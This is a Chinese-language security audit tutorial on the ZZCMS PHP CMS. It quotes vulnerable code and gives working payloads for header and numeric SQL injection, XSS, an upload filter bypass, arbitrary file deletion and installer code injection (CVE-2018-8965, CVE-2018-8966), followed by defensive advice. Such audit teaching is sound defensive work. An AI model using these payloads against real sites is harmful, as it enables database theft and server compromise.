代码审计zzcms
字数 1053 2025-08-26 22:11:45

ZZCMS漏洞审计与分析教学文档

目录结构分析

/install         安装程序目录(安装时必须有可写入权限)
/admin           默认后台管理目录(可任意改名)
/user            注册用户管理程序存放目录
/skin            用户网站模板存放目录
/template        系统模板存放目录
/inc             系统所用包含文件存放目录
/area            各地区显示文件
/zs              招商程序文件
/dl              代理
/zh              展会
/company         企业
/job             招聘
/zx              资讯
/special         专题
/pp              品牌
/wangkan         网刊
/ask             问答
/zt              注册用户展厅页程序
/one             专存放单页面
/ajax            ajax程序处理页面
/reg             用户注册页面
/3               第三方插件存放目录
/cache           缓存文件
/uploadfiles     上传文件存放目录
/dl_excel        代理信息excel表格文件上传目录
/image           程序设计图片,swf文件存放目录
/flash           展厅用透明flash装饰动画存放目录
/js              js文件存放目录
/html            静态页存放目录

关键漏洞分析

1. XFF头注入漏洞

文件位置: admin/logincheck.phpuser/logincheck.php

漏洞代码:

$ip=getip();
$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";

getip()函数:

function getip(){
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
        $ip = $_SERVER['REMOTE_ADDR'];
    else 
        $ip = "unknown";
    return($ip);
}

漏洞利用:

  • 通过X-Forwarded-For头注入SQL语句
  • 需要先保证验证码正确才能触发注入
  • 延时注入payload:
    X-Forwarded-For:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +
    

2. 数字型SQL注入漏洞

文件位置:

  • admin/dl_sendsms.php
  • admin/showbad.php
  • admin/userdel.php
  • admin/usernotreg.php

漏洞代码:

// dl_sendsms.php
$sql="select * from zzcms_dl where saver<>'' and id=".$id."";

// showbad.php
$sql="delete from zzcms_bad where id in (". $id .")";

// userdel.php
$sql="select id,username from zzcms_user where id in (". $id .")";

// usernotreg.php
$sql="delete from zzcms_usernoreg where id in (". $id .")";

漏洞利用:

  • 参数未经过滤且未使用引号包裹
  • 示例payload:
    id[]=1) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,sleep(5)%23
    

3. XSS漏洞

文件位置:

  • admin/ad_manger.php 多处输出未过滤
  • uploadimg_form.php 中的imgid参数

漏洞代码:

// ad_manger.php
<input name="keyword" type="text" id="keyword" value="<?php echo $keyword ?>">

// uploadimg_form.php
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid'] ?>" />

漏洞利用:

  • 上传表单XSS payload:
    "><script>alert(1)</script>
    
  • uploadimg_form.php的XSS利用:
    uploadimg_form.php?imgid=" onmouseover=alert(1) x="
    

4. 文件上传漏洞

文件位置: uploadimg.php

漏洞详情:

  • 仅检查了content-type:
    private $uptypes = array('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash');
    
  • 后缀检查不完善:
    if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false)
    
  • 可上传.phtml等后缀绕过检查

5. 任意文件删除漏洞 (CVE-2018-8965)

文件位置: user/ppsave.php

漏洞代码:

if ($oldimg<>$img && $oldimg<>"image/nopic.gif") {
    $f=$oldimg;
    if (file_exists($f)){
        unlink($f);
    }
}

漏洞利用:

  • 通过控制oldimg参数删除任意文件
  • 可配合安装漏洞使用

6. RCE漏洞 (CVE-2018-8966)

文件位置: install/index.php

漏洞代码:

$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str);
$f=fopen($fp,"w+");
fputs($f,$str);
fclose($f);

漏洞利用:

  1. 删除install.lock文件
  2. 重新安装系统
  3. 在网站地址处注入PHP代码:
    1');phpinfo();#
    
  4. 生成的config.php将包含恶意代码

防御措施

  1. 输入过滤:

    • 对所有用户输入进行严格过滤和转义
    • 使用预处理语句防止SQL注入
  2. 输出编码:

    • 对所有输出到HTML的内容进行HTML实体编码
  3. 文件上传:

    • 使用白名单验证文件类型
    • 禁止上传可执行文件
    • 重命名上传文件
  4. 权限控制:

    • 安装完成后删除install目录
    • 限制配置文件的写入权限
  5. 安全配置:

    • 关闭错误显示
    • 使用最新版本的PHP和Web服务器

审计方法总结

  1. 从功能点入手,逆向追踪代码
  2. 重点关注:
    • 用户输入点(\(_GET, \)_POST, $_COOKIE等)
    • 数据库操作语句
    • 文件操作函数
    • 包含/加载函数
  3. 检查过滤函数是否全面
  4. 注意未使用引号包裹的变量
  5. 关注第三方组件和插件
ZZCMS漏洞审计与分析教学文档 目录结构分析 关键漏洞分析 1. XFF头注入漏洞 文件位置 : admin/logincheck.php 和 user/logincheck.php 漏洞代码 : getip()函数 : 漏洞利用 : 通过X-Forwarded-For头注入SQL语句 需要先保证验证码正确才能触发注入 延时注入payload: 2. 数字型SQL注入漏洞 文件位置 : admin/dl_sendsms.php admin/showbad.php admin/userdel.php admin/usernotreg.php 漏洞代码 : 漏洞利用 : 参数未经过滤且未使用引号包裹 示例payload: 3. XSS漏洞 文件位置 : admin/ad_manger.php 多处输出未过滤 uploadimg_form.php 中的imgid参数 漏洞代码 : 漏洞利用 : 上传表单XSS payload: uploadimg_ form.php的XSS利用: 4. 文件上传漏洞 文件位置 : uploadimg.php 漏洞详情 : 仅检查了content-type: 后缀检查不完善: 可上传.phtml等后缀绕过检查 5. 任意文件删除漏洞 (CVE-2018-8965) 文件位置 : user/ppsave.php 漏洞代码 : 漏洞利用 : 通过控制oldimg参数删除任意文件 可配合安装漏洞使用 6. RCE漏洞 (CVE-2018-8966) 文件位置 : install/index.php 漏洞代码 : 漏洞利用 : 删除install.lock文件 重新安装系统 在网站地址处注入PHP代码: 生成的config.php将包含恶意代码 防御措施 输入过滤 : 对所有用户输入进行严格过滤和转义 使用预处理语句防止SQL注入 输出编码 : 对所有输出到HTML的内容进行HTML实体编码 文件上传 : 使用白名单验证文件类型 禁止上传可执行文件 重命名上传文件 权限控制 : 安装完成后删除install目录 限制配置文件的写入权限 安全配置 : 关闭错误显示 使用最新版本的PHP和Web服务器 审计方法总结 从功能点入手,逆向追踪代码 重点关注: 用户输入点($_ GET, $_ POST, $_ COOKIE等) 数据库操作语句 文件操作函数 包含/加载函数 检查过滤函数是否全面 注意未使用引号包裹的变量 关注第三方组件和插件